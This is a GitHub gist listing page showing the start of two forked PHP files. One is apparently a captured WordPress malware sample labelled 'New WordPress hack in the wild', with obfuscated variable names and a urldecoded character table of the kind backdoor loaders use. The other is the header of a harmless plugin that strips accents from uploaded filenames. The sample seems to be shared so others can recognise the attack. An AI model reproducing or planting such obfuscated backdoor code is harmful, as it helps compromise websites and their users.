Skip to content

Instantly share code, notes, and snippets.

@k1sul1
k1sul1 / index.php
Created August 26, 2016 11:06 — forked from anttiviljami/index.php
New WordPress hack in the wild
<?php
//header('Content-Type:text/html; charset=utf-8');
$O0_0O0_O_O = 'J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
$OOO0_0_O_0 = 'mazama2648';
$OO00O_O0__ = 1639;
$O0O00__OO_ = 'B/A/C_rimu-molasses/laudanidine/D-E/';
$O0OOO_00__ = 233;
$O0O0_0O__O = 1;
$O__00_OO0O = array("coenenchyma", "disinfestation", "causable", "intercept", "antirattler", "inveracity", "forgery", "errantly", "beaverboard", "hemoglobinocholia", "hibito", "affination", "gourde", "fustic", "acroceraunian", "battleship", "areotectonics", "inflexibility", "hymnodical", "monticoline", "canny", "exilement", "leasehold", "metastasis", "absorbency");;
$O0_00OO__O = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
@k1sul1
k1sul1 / remove-accents-on-upload.php
Created February 25, 2016 17:43 — forked from onnimonni/remove-accents-on-upload.php
Wordpress plugin which sanitizes files on upload. This fixes OS-X NFD characters as well if you have Normalizer class and icu library installed.
<?php
/**
* Plugin Name: Remove accents from files on upload
* Plugin URI: https://gist.github.com/onnimonni/d58bdcff44f8208a15c7
* Description: Sanitize accents from Cyrillic, German, French, Polish, Spanish, Hungarian, Czech, Greek, Swedish during upload. Also fix OS-X NFD filenames.
* Version: 1.0
* Author: Onni Hakala
* Author URI: http://github.com/onnimonni
* License: GPLv3
*/